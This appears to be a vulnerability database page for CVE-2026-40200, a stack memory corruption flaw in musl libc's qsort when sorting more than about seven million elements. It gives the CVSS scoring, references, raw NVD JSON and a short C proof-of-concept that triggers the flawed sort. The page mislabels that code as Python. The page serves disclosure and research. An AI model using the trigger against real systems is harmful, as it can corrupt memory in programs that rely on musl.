CVE-2026-40200

Description

An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical).

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

musl libc 0.7.10 - 1.2.6

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#include <stdlib.h>
#include <stdio.h>

// Comparison function for qsort
int compare(const void *a, const void *b) {
    return (*(int *)a - *(int *)b);
}

int main() {
    // Trigger condition: > 7 million elements
    size_t count = 8000000;
    int *array = malloc(count * sizeof(int));
    
    if (!array) {
        return 1;
    }

    // Fill array
    for (size_t i = 0; i < count; i++) {
        array[i] = rand();
    }

    // Trigger vulnerable qsort
    qsort(array, count, sizeof(int), compare);
    
    free(array);
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-40200
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-40200
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-40200/
[4] VulDB https://vuldb.com/cve/CVE-2026-40200
[5] https://musl.libc.org/releases.html
[6] https://www.openwall.com/lists/oss-security/2026/04/10/13
[7] http://www.openwall.com/lists/oss-security/2026/04/10/13

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-40200", "sourceIdentifier": "[email protected]", "published": "2026-04-10T17:17:14.107", "lastModified": "2026-04-27T19:18:46.690", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "An issue was discovered in musl libc 0.7.10 through 1.2.6. Stack-based memory corruption can occur during qsort of very large arrays, due to incorrectly implemented double-word primitives. The number of elements must exceed about seven million, i.e., the 32nd Leonardo number on 32-bit platforms (or the 64th Leonardo number on 64-bit platforms, which is not practical)."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.4, "impactScore": 6.0}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-670"}]}], "references": [{"url": "https://musl.libc.org/releases.html", "source": "[email protected]"}, {"url": "https://www.openwall.com/lists/oss-security/2026/04/10/13", "source": "[email protected]"}, {"url": "http://www.openwall.com/lists/oss-security/2026/04/10/13", "source": "af854a3a-2127-422b-91ae-364da2661108"}]}}